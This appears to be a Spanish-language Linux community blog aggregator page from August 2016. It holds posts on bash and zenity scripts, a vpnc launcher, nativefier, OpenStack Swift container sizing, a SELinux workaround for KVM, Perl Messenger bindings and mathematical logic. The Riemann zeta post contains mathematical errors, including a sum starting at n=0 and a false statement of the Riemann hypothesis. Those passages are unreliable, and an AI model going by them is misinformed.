Sábado 27 de agosto de 2016

Probabilidad de éxito

Pensando en que aún no he terminado de revisar los discos que fallaron catastróficamente en marzo / abril, recordé la tira obligada de xkcd.

https://xkcd.com/349/ o http://es.xkcd.com/strips/exito/ para esta verisón en español.

success

Y en efecto a los discos ya les doy muy poca probabilidad de rescatar, justo ahora que estoy en eso he pensando en varias cosas que había encontrado en torrents que si me pica el haber perdido pero como se que no lei, vi u oi completo tampoco es que de todas formas fuese tan importante, pero como dice el dicho “uno no sabe lo que tiene hasta que lo ve perdido”.

Viernes 26 de agosto de 2016

Omar Hernández Sarmiento

Omar Hernández Sarmiento
-- tekini --

script llamando a consola, whiptail y zenity

Hay usuarios que prefieren la interfaz gráfica, los que gustan de consola o en la misma terminal. Se puede realizar un script que se ejecute de acuerdo el parámetro con una interfaz distinta.

Para esto es muy útil separar funciones y dejar en el script sola la lógica
$ cat  eje.bash
#!/bin/bash

#tipo de funcion
 if [ "$1" == "-w" ] #emplear version whiptail
   then source lib/wFunc.eje;
 elif [ "$1" == "-z" ] #emplear version zenity
   then source lib/zFunc.eje;
   else #version consola
     nombre="$@";
     source lib/cFunc.eje;
   fi ;

#obtener el nombre
 if [ -z "$nombre" ]
   then
     ObtenNom;
     nombre=`cat /tmp/algo`;
     rm /tmp/algo
   fi

#mostrar nombre
 Saluda "$nombre";


terminal
$ ./eje.bash

$ cat lib/cFunc.eje
 #consola
  function ObtenNom
    {
       read -p "como te llamas?
nombre: " nom;
       echo "$nom" > /tmp/algo;
       return 0;
    }
  function Saluda
    {
      echo "Mucho gusto, $1";
    }


whiptail
$ ./eje.bash -w

$ cat lib/wFunc.eje
 #whiptail
  function ObtenNom
    {
       whiptail --title "como se llama?" --inputbox "Nombre:" 10 40 2>/tmp/algo;
    }
  function Saluda
    {
      whiptail --msgbox "Mucho gusto, $1"  10 40
    }


zenity
$ ./eje.bash -z

$ cat lib/zFunc.eje
 #zenity
  function ObtenNom
    {
       nom=`zenity --title "Como se llama?" --entry  --text "Nombre:"`;
       echo "$nom" >/tmp/algo;
       return 0;
    }
  function Saluda
    {
      zenity --info --text "Mucho gusto, $1";
    }


terminal
$ ./eje.bash petrohs

Omar Hernández Sarmiento

Omar Hernández Sarmiento
-- tekini --

conectar vpnc usando zenity

Para conectarme al trabajo empleo varios perfiles para vpnc, normalmente lo ejecuto por línea de comandos pero me puse a jugar un poco con zenity

Cuando se ejecuta el script el proceso valida si existe una instancia corriendo de vpnc, en caso de no existir pregunta con que perfil se quiere conectar.


Tras seleccionar el perfil, solicita la contraseña para poder conectar con la vpn.


En la siguiente ventana muestra el resultado de la conexión.


Si se presenta un error en la conexión lanza una terminal xterm para validar manualmente.

En caso de ejecutar el script y este corriendo una instancia de vpnc pregunta si se quiere detener


Para desconectar solicita la contraseña.


Y notifica el resultado.


El código se encuentra en https://github.com/petrohs/listaVPN

  BASE="/tmp/listaVPN/perfiles";  
REGISTRO=`ps -fea | grep vpnc | grep -v grep | awk '{print $9}'`
if [ -z "${REGISTRO}" ]
then
cd $BASE
PERFIL=`ls -1 | zenity --list --title="VPNs" --text="No hay VPN en ejecución\n¿Quieres conectar con un perfil?" --column Perfiles 2>/dev/null`
if [ -n "${PERFIL}" ]
then
gksudo -m "Ejecutar 'vpnc-connect $PERFIL'" "vpnc-connect ${BASE}/${PERFIL}" >/tmp/logVPNohs
zenity --text-info --title "Resultado de la conexión" --filename=/tmp/logVPNohs 2>/dev/null
fi
else
zenity --question --title="VPNs" --text="Esta conectado con perfil `basename $REGISTRO`\n¿Quiere detenerlo?" 2>/dev/null
if [ $? -eq 0 ]
then
gksudo -m "Ejecutar 'vpnc-disconnect $PERFIL'" "vpnc-disconnect" >/tmp/logVPNohs
zenity --text-info --title "Resultado de la desconexión" --filename=/tmp/logVPNohs 2>/dev/null
fi
fi
Omar Hernández Sarmiento

Omar Hernández Sarmiento
-- tekini --

Configuración resources en nativefier

Leí una nota en muylinux sobre el uso de Electron para crear un cliente de escritorio de interfaces web con nativefier. Se me figuro interesante para emplear.

$ aptitude update
$ aptitude install nodejs npm
$ sudo npm install nativefier -g
$ sudo ln -s /usr/bin/nodejs /usr/bin/node
$ mkdir /tmp/wiki
$ cd $_
$ nativefier -n eswiki es.wikipedia.org
$ ls -1FA
eswiki-linux-x64/
$ ls -1FA eswiki-linux-x64/
content_shell.pak
eswiki*
icudtl.dat
libffmpeg.so
libnode.so*
LICENSE
LICENSES.chromium.html
locales/
natives_blob.bin
resources/
snapshot_blob.bin
version
$ ./eswiki-linux-x64/eswiki
Con esto ya tenemos una ventanita con la vista de wikipedia
Pues sigamos con otras webs

$ nativefier -n esnews es.wikinews.org
$ nativefier -n wcommons commons.wikimedia.org
$ nativefier -n mxwiki mx.wikimedia.org
$ ls -FA1
esnews-linux-x64/
eswiki-linux-x64/
mxwiki-linux-x64/
wcommons-linux-x64/
$ du -hs *
104M esnews-linux-x64
104M eswiki-linux-x64
104M mxwiki-linux-x64
104M wcommons-linux-x64
¿Qué? ¿Cuántos megas? Analizando que contiene cada directorio y comparándolos he identificado que solo existe diferencia en el contenido del directorio resources/app
 
$ md5sum */*/* 2>/dev/null | sort | cut -d\ -f1 | uniq -c
4 026db20eb9f14ad800228c2f8cf076b6
4 03b11dc49fc2d42217879c2291340296
4 0f15d43cc55938a000de9c96d82263b1
$ md5sum */*/*/* 2>/dev/null | sort | cut -d\ -f1 | uniq -c
1 018fa69fbc5e49f08dc312b25872165d
1 332428d56785d857c0f02d4cba489ac2
1 53319562fc57e7269f1a787ab1d8cbf7
1 64b162a70352f1ee8c4a741e69ea494c
1 a20fc08726638a32ebe84c66fac0b258
1 a42fde1ea3bd4ba4dac1ad52e9a1893e
1 ab22d08f3326838e4f5490f4f2d7fbdf
1 b5ecc848c4f98fd0678dc9b434f6e6e7
1 b767bdadbacf5c6041239256181ff5f2
1 b862baf42092ce77dcc3289ea92e7cf7
1 be55ef6c199e8a94c48f3cf2030cba07
1 f026df95d4e616e6bdf0d4c990f1c100
$ md5sum */*/*/* 2>/dev/null | sort
018fa69fbc5e49f08dc312b25872165d wcommons-linux-x64/resources/app/nativefier.json
332428d56785d857c0f02d4cba489ac2 mxwiki-linux-x64/resources/app/package.json
53319562fc57e7269f1a787ab1d8cbf7 esnews-linux-x64/resources/app/icon.png
64b162a70352f1ee8c4a741e69ea494c wcommons-linux-x64/resources/app/package.json
a20fc08726638a32ebe84c66fac0b258 eswiki-linux-x64/resources/app/package.json
a42fde1ea3bd4ba4dac1ad52e9a1893e esnews-linux-x64/resources/app/package.json
ab22d08f3326838e4f5490f4f2d7fbdf eswiki-linux-x64/resources/app/icon.png
b5ecc848c4f98fd0678dc9b434f6e6e7 mxwiki-linux-x64/resources/app/nativefier.json
b767bdadbacf5c6041239256181ff5f2 esnews-linux-x64/resources/app/nativefier.json
b862baf42092ce77dcc3289ea92e7cf7 eswiki-linux-x64/resources/app/nativefier.json
be55ef6c199e8a94c48f3cf2030cba07 wcommons-linux-x64/resources/app/icon.png
f026df95d4e616e6bdf0d4c990f1c100 mxwiki-linux-x64/resources/app/icon.ico
$ more wcommons-linux-x64/resources/app/nativefier.json
{"name":"wcommons","targetUrl":"http://commons.wikimedia.org","counter":false,"w
idth":1280,"height":800,"showMenuBar":false,"fastQuit":false,"userAgent":"Mozill
a/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.266
1.102 Safari/537.36","nativefierVersion":"7.0.1","ignoreCertificate":false,"inse
cure":false,"flashPluginDir":null,"fullScreen":false,"maximize":false}
$ more eswiki-linux-x64/resources/app/nativefier.json
{"name":"eswiki","targetUrl":"http://es.wikipedia.org","counter":false,"width":1
280,"height":800,"showMenuBar":false,"fastQuit":false,"userAgent":"Mozilla/5.0 (
X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 S
afari/537.36","nativefierVersion":"7.0.1","ignoreCertificate":false,"insecure":f
alse,"flashPluginDir":null,"fullScreen":false,"maximize":false}
De nativefier.json solo cambia la url, package.json el nombre de la web y el icono en icon.* Viendo esto, el mismo paquete sirve para todos basta cambiar la configuración del url. Junte en un solo paquete las configuraciones

$ cp -r eswiki-linux-x64/ wikis-nativefier/
$ mkdir wikis-nativefier/_perfiles
$ cp esnews-linux-x64/resources/app/icon.png wikis-nativefier/_perfiles/esnews-icon.png
$ cp esnews-linux-x64/resources/app/nativefier.json wikis-nativefier/_perfiles/esnews-nativefier.json
$ cp eswiki-linux-x64/resources/app/icon.png wikis-nativefier/_perfiles/eswiki-icon.png
$ cp eswiki-linux-x64/resources/app/nativefier.json wikis-nativefier/_perfiles/eswiki-nativefier.json
$ cp mxwiki-linux-x64/resources/app/icon.ico wikis-nativefier/_perfiles/mxwiki-icon.ico
$ cp mxwiki-linux-x64/resources/app/nativefier.json wikis-nativefier/_perfiles/mxwiki-nativefier.json
$ cp wcommons-linux-x64/resources/app/icon.png wikis-nativefier/_perfiles/wcommons-icon.png
$ cp wcommons-linux-x64/resources/app/nativefier.json wikis-nativefier/_perfiles/wcommons-nativefier.json
Me puse a jugar con un script que cambia esos archivos de acuerdo a un argumento.

$ more wikis-nativefier/wikis.sh
#!/bin/bash

cd /tmp/wiki/wikis-nativefier/

if [ -z "$1" ]
then
PERFIL=`cd _perfiles; ls -1 *.json | cut -d"-" -f1 | zenity --list --title="wiki nativefier" --text="¿Con qué perfil quieres ejecutar?" --column Perfiles 2>/dev/null`
else
PERFIL="$1";
fi

if [ -e resources/app/nativefier.json ]; then rm resources/app/nativefier.json; fi;
if [ -e resources/app/icon.png ]; then rm resources/app/icon.png; fi;
if [ -e resources/app/icon.ico ]; then rm resources/app/icon.ico; fi;

case "$PERFIL" in
eswiki)
cp _perfiles/eswiki-nativefier.json resources/app/nativefier.json
cp _perfiles/eswiki-icon.png resources/app/icon.png
;;
esnews)
cp _perfiles/esnews-nativefier.json resources/app/nativefier.json
cp _perfiles/esnews-icon.png resources/app/icon.png
;;
wcommons)
cp _perfiles/wcommons-nativefier.json resources/app/nativefier.json
cp _perfiles/wcommons-icon.png resources/app/icon.png
;;
mxwiki)
cp _perfiles/mxwiki-nativefier.json resources/app/nativefier.json
cp _perfiles/mxwiki-icon.ico resources/app/icon.ico
;;
*)
echo "Perfiles al momento:";
echo " eswiki";
echo " esnews";
echo " mxwiki";
echo " wcommons";
exit 1;
;;
esac

./eswiki
Al ejecutar el script
Ahora un solo paquete puede lanzar diferentes configuraciones

Jueves 25 de agosto de 2016

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Páginas de man en Español en Ubuntu y Linux Mint

Cuando quieres ver como se usa un comando por lo general usas el comandos linux man, el que te muestra las famosas man pages, estas te muestra la forma de usar un comando con sus parámetros, opciones, etc. Te explica … Continue reading

Miércoles 24 de agosto de 2016

OpenStack: What is the optimal number of objects per container

Well, I just had this question and went over to #openstack @ Freenode. There, notmyname (apparently, a moderator or @ps of some kind) answered:

12:20 < notmyname> Renich: I saw you asking questions about swift earlier
12:20 < notmyname> Renich: about object count per container
12:27 < notmyname> Renich: in case you see this later, here's my answer...

12:28 < notmyname> Renich: the recommended number of objects per container in swift depends on two things: (1) how many objects you want to add per second per container and (2) what sort of hardware you have referenced in the contianer rings

12:28 < notmyname> Renich: for the second, I strongly suggest using flash. (SSDs are fine)

12:29 < notmyname> Renich: if you need to sustain eg 100 writes per second in a single container and you've got flash devices for the container storage, then you'll probably be looking at a few dozen million objects

12:30 < notmyname> Renich: but note that this is (1) write performance--reads are unaffected and (2) per container--so shard your data client-side to use lots of containers
12:31 < Renich> notmyname: yes, thanks. Your answer helps a lot. And, yeah, we're using SSDs and testing a ZFS setup actually

12:32 < notmyname> Renich: almost all of any write performance penalty in large container has been eliminated in swift over the last year. but operationally, it's still a good idea to avoid truly huge containers. you don't want to try to replicate billion-row DBs

12:32 < notmyname> Renich: oh, interesting. I'd be interested to hear what kind of performance you get with that. last I saw (but it was a long time ago) ZFS had some pretty bad performance numbers when you get it reasonably full (lots of inodes)

12:34 < notmyname> Renich: also feel free to drop by #openstack-swift if you've got further questions

12:34 < Renich> notmyname: well, we're trying it out in a very specific use case. One putter, and a lot of getters on the setup. For climatic data

12:34 < Renich> notmyname: sure thing, thanks

So, in conclusion:
* swift doesn’t suffer from a high number of objects in a container anymore.
* Still, you want to keep it under a couple of dozen million per container.
* You want to use SSD for everything.

References
* http://eavesdrop.openstack.org/irclogs/%23openstack/%23openstack.2016-08-24.log.html#t2016-08-24T17:20:07

Alex Callejas

Alex Callejas
|rootzilopochtli.com|

#QUICKTIP: SELinux no permite usar kvm

Después de las últimas actualizaciones de políticas de SELinux en Fedora 24, al arrancar ó crear una Máquina Virtual (vm) en virt-manager, envía el mensaje de error: virt-manager error: selinux policy denies access at starting domain.

En los logs encontramos:

Aug 23 21:45:45 isengard.mx.redhat.com systemd[1]: Started Network Manager Script Dispatcher Service.
-- Subject: Unit NetworkManager-dispatcher.service has finished start-up
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
-- 
-- Unit NetworkManager-dispatcher.service has finished starting up.
-- 
-- The start-up result is done.
Aug 23 21:45:45 isengard.mx.redhat.com dbus-daemon[818]: [system] Successfully activated service 'org.freedesktop.nm_dispatcher'
Aug 23 21:45:45 isengard.mx.redhat.com kernel: virbr0: port 1(vnet0) entered disabled state
Aug 23 21:45:45 isengard.mx.redhat.com kernel: device vnet0 left promiscuous mode
Aug 23 21:45:45 isengard.mx.redhat.com audit: ANOM_PROMISCUOUS dev=vnet0 prom=0 old_prom=256 auid=4294967295 uid=107 gid=107 ses=4294967295
Aug 23 21:45:45 isengard.mx.redhat.com kernel: virbr0: port 1(vnet0) entered disabled state
Aug 23 21:45:45 isengard.mx.redhat.com virtlogd[10776]: End of file while reading data: Input/output error
Aug 23 21:45:45 isengard.mx.redhat.com libvirtd[913]: Cannot open log file: '/var/log/libvirt/qemu/win7-2.log': Device or resource busy
Aug 23 21:45:45 isengard.mx.redhat.com virtlogd[10776]: Cannot open log file: '/var/log/libvirt/qemu/win7-2.log': Device or resource busy
Aug 23 21:45:45 isengard.mx.redhat.com virtlogd[10776]: End of file while reading data: Input/output error
Aug 23 21:45:45 isengard.mx.redhat.com libvirtd[913]: SELinux policy denies access.
Aug 23 21:45:45 isengard.mx.redhat.com systemd-machined[10793]: Failed to start machine scope: Access denied

Si configuramos SELinux en modo permisivo, la vm arranca correctamente y también nos permite crear nuevas vm’s.

Obviamente, la solución más rápida es deshabilitar SELinux, pero como apoyamos la campaña de Dan Walsh, después una rápida googleada encontré el workaround:

1. Hacer downgrade a la política de SELinux

[root@isengard ~]# dnf downgrade selinux-policy-targeted selinux-policy firewalld firewalld-filesystem python3-firewall

2. Generar política temporal que permita el uso de kvm

Crear archivo type enforcement

[root@isengard ~]# vi /tmp/virt-manager-temp.te 
module virt-manager-temp 1.0;

require {
 type systemd_machined_t;
 type init_t;
 class system start;
}

#============= systemd_machined_t ==============
allow systemd_machined_t init_t:system start;
[root@isengard ~]#

Compilamos el módulo

[root@isengard ~]# checkmodule -M -m -o virt-manager-temp.mod virt-manager-temp.te
[root@isengard ~]# semodule_package -o virt-manager-temp.pp -m virt-manager-temp.mod

Lo cargamos en la política

[root@isengard ~]# semodule -i virt-manager-temp.pp

Después de aplicar cualquier de estos procedimientos, virt-manager ya es capaz de funcionar con SELinux.

En el bugzilla mencionan que la actualización de la política se encuentra en los repositorios de testing:

[root@isengard ~]# dnf update selinux-policy --enablerepo=updates-testing

Sin embargo, aún no esta disponible:

[root@isengard ~]# dnf update selinux-policy --enablerepo=updates-testing
Fedora 24 - x86_64 - Test Updates 229 kB/s | 2.8 MB 00:12 
Last metadata expiration check: 0:00:06 ago on Tue Aug 23 21:55:43 2016.
Dependencies resolved.
Nothing to do.
Complete!
[root@isengard ~]# dnf list | grep selinux-policy
selinux-policy.noarch             3.13.1-191.12.fc24 @updates
selinux-policy-targeted.noarch    3.13.1-191.12.fc24 @updates
selinux-policy-devel.noarch       3.13.1-191.12.fc24 updates 
selinux-policy-doc.noarch         3.13.1-191.12.fc24 updates 
selinux-policy-minimum.noarch     3.13.1-191.12.fc24 updates 
selinux-policy-mls.noarch         3.13.1-191.12.fc24 updates 
selinux-policy-sandbox.noarch     3.13.1-191.12.fc24 updates 
[root@isengard ~]#

Referencias:

Bug 1368745 – selinux-policy-3.13.1-191.12.fc24 prevents virtual machine usage

Espero les sirva…

Lunes 22 de agosto de 2016

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
Beck's blog

Función zeta de Riemann y probabilidad de que dos enteros sean primos relativos


Este post está motivado en que ya estoy de vacaciones y quería hacer algo divertido y también para alguien muy especial que tiene la propiedad de ser aniparkiomorfiginaica que le gusta mucho la probabilidad y estadística, ella sabrá quién es.

Otra motivación es que como siempre tengo problemas para dormir posiblemente por las grandes cantidades de café que introduzco a mi cuerpo, pero empecemos.

Deduciremos una probabilidad que involucra a $latex \pi$ e involucra a números primos que está íntimamente relacionado con el problema del milenio sin solución gracias a Riemann (Conjetura de Riemann sobre la función $latex \zeta$ que puedes ver aquí)

La pregunta es realmente, ¿cuál es la probabilidad de que dos enteros positivos menores que cierto $latex N$ sean primos relativos (no tengan factores en común más que 1)?


Por ejemplo, $latex (6,33)$ no son primos relativos  porque $latex 6=3\cdot 2$ y $latex 33=11\cdot 3$ (comparten al $latex 3$)

pero por ejemplo $latex (14,15)$ son primos relativos porque no comparten factores no triviales y $latex (c,p)$ donde $latex c$ es cualquier entero y $latex p$ es un número primo.

Esta demostración me gusta mucho, aquí la tienen, vamos a calcular esta probabilidad de obtener dos números primos relativos al azar


Construcción:

Sean $latex x,y\in \mathbb{N}$ con $latex x,y>1$, como queremos que $latex x,y$ sean coprimos no deben tener ningún factor en común.

Empecemos facilito.

¿Cuál es la probabilidad de dos enteros positivos tengan al 2 como factor?

Bueno, la probabilidad de que un sólo número tenga al $latex 2$ como factor es $latex 1/2$ ya que basta que sea par, y esto sucede el 50% de las veces, esto implica que la probabilidad de que los dos tengan al $latex 2$ como factor es $latex (1/2)^2$

Entonces la probabilidad de que $latex \alpha,\beta$ NO tengan al 2 como factor es $latex 1-\Big({\frac{1}{2}}\Big)^2}$


Ahora para el 3, la probabilidad de manera similar de que no contengan en común al 3 es de $latex 1-\Big({\frac{1}{3}}\Big)^2}$

Ya que igualmente, "cada 3 números tienes un múltiplo de 3" , y así en general para todo primo $latex p$ tenemos.

Para cada $latex p$ tenemos que cada $latex p$ números pasarás por un múltiplo de $latex p$ a eso nos referimos con la probabilidad de que nos toque a $latex p$ como factor es $latex \frac{1}{p}$
Por lo tanto la probabilidad $latex P_{\alpha,\beta}$ de que dos enteros al azar $latex \alpha,\beta \in \mathbb{N}$ menores que cierto $latex N$  sean primos relativos es:

$latex P_{\alpha,\beta}=\displaystyle \prod_{p\in \mathbb{P}}{1-\frac{1}{p^2}}} =(1-\frac{1}{2^2})\cdot (1-\frac{1}{3^2})\cdot (1-\frac{1}{5^2})\cdot ...\cdot(1-\frac{1}{{p_n}^2})\cdot ...$  ***

Donde $latex p_n\in\mathbb{P}$, la probabilidad se obtiene cuando multiplicas para todo número primo es decir cuando $latex n\rightarrow \infty$.

Donde $latex \mathbb{P}$ son todos los números primos, los multiplicamos todos ya que son sucesos probabilisticamente independientes.

Es decir, recuerda que la probabilidad de que sucedan dos eventos independientes $latex A$ y $latex B$ al mismo tiempo es en símbolos $latex P(A \wedge B)=P(A)\cdot P(B)$, con independientes me refiero a que el evento $latex A$ no tenga cierta relación con el evento $latex B$, y ¿por qué tener factores primos para cada primo son eventos independientes ? , fácil... porque los números SON primos, ya que si no lo fueran, digamos la probabilidad de tener a $latex 6$ como factor es dependiente de tener a $latex 2$ y $latex 3$ como factor, pero como aquí son números primos, todos son disjuntos con respecto a la medida de probabilidad que mide tener factores primos y por definición los primos son únicos en este sentido.

Pero esto ¿qué? , esta fórmula es medio rara... y no nos dice nada...


Vamos a desarrollar eso para llegar a un resultado sorprendente, primero hay que recordar esta serie de cálculo que tiene que ver con sumas en progresiones geométricas , toma $latex a\in \mathbb{R}$ con $latex \mid a \mid$  <  $latex 1$  

$latex \sum_{n=0}^{\infty} a^n = 1+a+a^2+... = \frac{1}{1-a}$   **

Por ejemplo si $latex a=1/7$

$latex \sum_{n=0}^{\infty}\Big (\frac{1}{7}\Big)^n=1+\frac{1}{7}+\frac{1}{7^2}+...=\frac{1}{1-\frac{1}{7}}=\frac{7}{6}\approx 1.1666$

De la fórmula  **   mete $latex a=(1/2)^2$,  y después voltea la fracción, es decir pon el denominador arriba y el numerador abajo, (esto podemos hacer  porque ningún denominador es 0)

Entonces tenemos que el primer término de *** a lo podemos expandir con la fórmula ** (volteada) como:

$latex 1-\frac{1}{2^2}} = \frac{1}{1+\frac{1}{2^2}+\frac{1}{2^4}+...\frac{1}{2^{2k}}+...}$

Similarmente podemos desarrollar todos los términos de $latex P_{\alpha,\beta}$

$latex P_{\alpha,\beta}=(\frac{1}{1+\frac{1}{2^2}+\frac{1}{2^4}+...\frac{1}{2^{2k}}+...})\cdot(\frac{1}{1+\frac{1}{3^2}+\frac{1}{3^4}+...\frac{1}{3^{2k}}+...})\cdot ...$

Observa cuidadosamente la ecuación anterior y fíjate que en los denominadores de los denominadores, están todos los posibles cuadrados perfectos de todos los números naturales, en todas sus combinaciones y sabores cuando $latex k\rightarrow \infty$ tenemos TODOS los cuadrados perfectos, por lo que esa suma horrible es lo mismo que la siguiente representacion


$latex P_{\alpha,\beta}=\frac{1}{\sum_{n=0}^{\infty}\frac{1}{n^2}}=\frac{1}{1+\frac{1}{2^2}+\frac{1}{3^2}+\frac{1}{4^2}+...+\frac{1}{n^2}+...}$, es bien sabido que esta serie en el denominador $latex \sum_{n=0}^\infty \frac{1}{n^2}=\frac{\pi^2}{6}$

Es sabido el resultado de esta serie si juegas con la expansión en series de $latex \frac{sen(x)}{x}$
o como el problema de Basilea


Por lo tanto, sabiendo esto, llegamos a este hermoso resultado en teoría analítica de números.

Teorema:
Sean $latex \alpha,\beta \in \mathbb{N}$ donde $latex \alpha,\beta$  < $latex N$, entonces la probabilidad de que $latex \alpha$ y $latex \beta$ NO tengan factores en común (sean primos relativos) es:   $latex P_{\alpha,\beta}=\frac{6}{\pi^2}\approx 0.6079...$


De hecho, es equivalente esto a la función $latex \zeta$ de Riemann evaluada en $latex 2$ , y la fómula  *** que encontramos es justamente la representación con números primos de la función zeta de Riemann por Euler, pueden verlo aquí así como como la función zeta de Riemann en 2 $latex \zeta(2)$, esta función es de las más importantes en matemáticas ya que se ha buscado generalizar a muchos espacios, teoría de curvas, et cétera donde ya tiene solución, pero no en los complejos, la cual llevaría a conocer mejor la distribución de los números primos, si la resuelves te darán 1 millón de dólares, esta función es $latex \zeta(s)=\sum_{n=1}^\infty \frac{1}{n^s}$ y necesitas demostrar que $latex \zeta(s) =0$ siempre que $latex s=\frac{1}{2}+it$ con $latex t\in \mathbb{R}$ , eso traerá consecuencias muy imporantes en teoría de números y distribución de primos, criptografía, et cétera, esto es sólo una probadita

También con WolframAlpha pueden ver el valor de la función zeta de Riemann en 2 y en el valor que quieran: aquí
Espero les haya gustado

Eduardo Ruíz Duarte
twitter @toorandom
Alcance Libre: Curso Global de Servidores con CentOS 7.

Domingo 21 de agosto de 2016

David Moreno

David Moreno
dm's blog

WIP: Perl bindings for Facebook Messenger

A couple of weeks ago I started looking into wrapping the Facebook Messenger API into Perl. Since all the calls are extremely simple using a REST API, I thought it could be easier and simpler even, to provide a small framework to hook bots using PSGI/Plack.

So I started putting some things together and with a very simple interface you could do a lot:

use strict;
use warnings;
use Facebook::Messenger::Bot;

my $bot = Facebook::Messenger::Bot->new({
    access_token   => '...',
    app_secret     => '...',
    verify_token   => '...'
});

$bot->register_hook_for('message', sub {
    my $bot = shift;
    my $message = shift;

    my $res = $bot->deliver({
        recipient => $message->sender,
        message => { text => "You said: " . $message->text() }
    });
    ...
});

$bot->spin();

You can hook a script like that as a .psgi file and plug it in to whatever you want.

Once you have some more decent user flow and whatnot, you can build something like:



…using a simple script like this one.

The work is not finished and not yet CPAN-ready but I’m posting this in case someone wants to join me in this mini-project or have suggestions, the work in progress is here.

Thanks!

David Moreno

David Moreno
dm's blog

Cosmetic changes to my posts archive

I’ve been doing a lot of cosmetic/layout changes to the nearly 750 posts in my blog’s archive. I apologize if this has broken some feed readers or aggregators. It appears like Hexo still needs better syndication support.

Jueves 18 de agosto de 2016

Alcance Libre: Procedimiento para mitigar ataques TCP por vulnerabilidad CVE-2016-5696.

Mas sobre MOOC

Y bueno por otro lado he escrito lo que pensé cuando salieron los MOOC, lo que me lleve de sorpresa cuando los utilice y posteriormente mi desencanto por mis altas expectativas para resolver con ellos cosas para lo que no están diseñados y para las que se ha visto repetidamente que todavía no funcionan bien, en aquellas entradas pensé haber citado este trabajo que es muy bueno y completo, no lo hice y hoy que lo estaba recomendando a unos estudiantes que están trabajando con el tema me costo algo de trabajo encontrarlo, lo pongo aquí porque de haberlo leído un poco antes es bien probable que no hubiese tenido que experimentar la ultima, etapa o siquiera que tener que discutir por acá de si debíamos o no siquiera pensar en esta herramienta (que sigo creyendo que si, pero no para lo que lo quieren usar), creo que lo que esta haciendo Alex en Iztacala va sernos muy útil para entender mejor y sacarle jugo o crearnos algo para lo que queremos.

Hollands, F. M., & Tirthali, D. (2014). MOOCs: expectations and reality. Full report. Center for Benefit Cost Studies of Education, Teachers College, Columbia University, NY. Retrieved from: http://cbcse.org/wordpress/wpcontent/uploads/2014/05/MOOCs_Expectations_and_Reality.pdf

Miércoles 17 de agosto de 2016

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

Talking about the Debian keyring in Investigaciones Nucleares, UNAM

For the readers of my blog that happen to be in Mexico City, I was invited to give a talk at Instituto de Ciencias Nucleares, Ciudad Universitaria, UNAM.

I will be at Auditorio Marcos Moshinsky, on August 26 starting at 13:00. Auditorio Marcos Moshinsky is where we met for the early (~1996-1997) Mexico Linux User Group meetings. And... Wow. I'm amazed to realize it's been twenty years that I arrived there, young and innocent, the newest of what looked like a sect obsessed with world domination and a penguin fetish.

AttachmentSize
llavero_chico.png220.84 KB
llavero_orig.png1.64 MB

Lunes 15 de agosto de 2016

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
Beck's blog

Definitud en lógica analítica de Solomon Feferman (Descanse en paz 1928-2016)

Hace unos días murió uno de los grandes en Lógica, el cual en mis aires amateur de Lógico analítico me agradaba mucho entender sus ideas, él fue Solomon Feferman, alumno de Alfred Tarski, que a sus 87 años muere pero deja una nueva manera de observar la matemática que nos dejó Gödel después de demostrar sus teoremas de incompletud que rompieron la supuesta "perfección" de la matemática y la sumergieron en un objeto "imperfecto" lleno de hoyos y preguntas sin respuesta que son los indecidibles en el lenguaje de la teoría de conjuntos que gobierna a toda la matemática, eso lo explico y demuestro en mi blog aquí Incompletud de Gödel

Hay nuevas cosas relacionadas hoy en día con un problema en lógica y conjuntos que se creía resuelto, más específico con la hipótesis del continuo, el cual es un problema en matemáticas que es indecidible, es decir no se puede demostrar con el sistema axiomático ZFC que sea verdadero o que sea falso, uno más de los hoyos en la matemática bajo este sistema axiomático que todos usamos que fue demostrado por Gödel en su teorema de incompletud que ahora es una herramienta formal que gobierna a la matemática.

Sólo para recordar rápido un ejemplo en ZF (sin C) de la hipótesis del continuo es

Sí ℵ = |ℕ| y ℑ=|ℝ| son los infinitos que corresponden a los tamaños de los conjuntos de números naturales y reales respectivamente (los cuales es bien sabido que no son iguales ya que por el teorema de Cantor Schroeder Bernstein no están en biyección y uno se puede construir como el conjunto potencia del otro) entonces NO existe un X tal que ℵ<|X|<ℑ.

Es decir, no hay un infinito estrictamente intermedio.

Esto lo explico en mi blog con más detalle aquí Infinitos grandes y chicos

En 1940 Gödel demostró que la hipótesis del continuo no era falsa.

En 1964 Cohen demuestra que la hipótesis del continuo no es verdadera.

Por lo tanto es indecidible. Es decir está demostrado usando teoría de modelos que no se puede demostrar que la hipótesis del continuo es demostrable falsa o verdadera.

Pero hay más

En 2011 Solomon Feferman encontró un argumento filosóficamente complejo en lógica analítica, en este paper se explica su teoría (Feferman) que propone una nueva teoría de "Definitud" usando un sub sistema semi intuicionista del sistema de teoría de conjuntos que usamos generalmente, el cuál es ZF, que acepte lógica clásica (donde toda proposición P tiene un valor de verdad) para operadores acotados (ej en el universo de los números reales. ∀x>0", "∃y<0", "∀x ∊ ℝ", para todo x>0, Existe y<0 , para todo x real ), y para operadores no acotados que uses lógica intuicionista (donde toda proposición no necesariamente tienen asignado un valor de verdad pero tiene una noción de pruebabilidad constructivista... Sí "pruebabilidad", es decir que se puede construir un camino lógico en el sistema axiomático de una teoría que conlleva a una demostración de su veracidad o falsedad) (ej. en teoría de conjuntos de un operador no acotado. ∀A ∅⊆A).
Feferman define que una proposición P es matemáticamente definida si el subsistema semi intuicionista puede probar P∨¬P (Es decir que existe una demostración para la proposición P o su negación).
Sólomon Feferman conjetura que la hipótesis del continuo NO está definida bajo este concepto de definitud por lo que la hipótesis del continuo está definida de manera "incompleta" y no tiene un valor de verdad. Koellner el mismo año propone que la teoría de conjuntos vista desde un sistema multiverso podría definir la hipótesis del continuo bajo la noción de Feferman.

Un documento de Hamkins define y usa los "Set Theoretic Multiverses" pero no ahondaré en ello ya que estoy en proceso de comprenderlo pero para el curioso que sepa de ultrafiltros aquí lo tiene: The Set theoretic multiverse

En este documento se demuestra la conjetura de Feferman.
https://arxiv.org/pdf/1405.4481.pdf



Solomon Feferman 1928-2016

Domingo 14 de agosto de 2016

David Moreno

David Moreno
dm's blog

Ruby and libv8: Exactly my feelings

Thanks to my coworker Dan for making a whole bunch of these based on our day job adventures :)

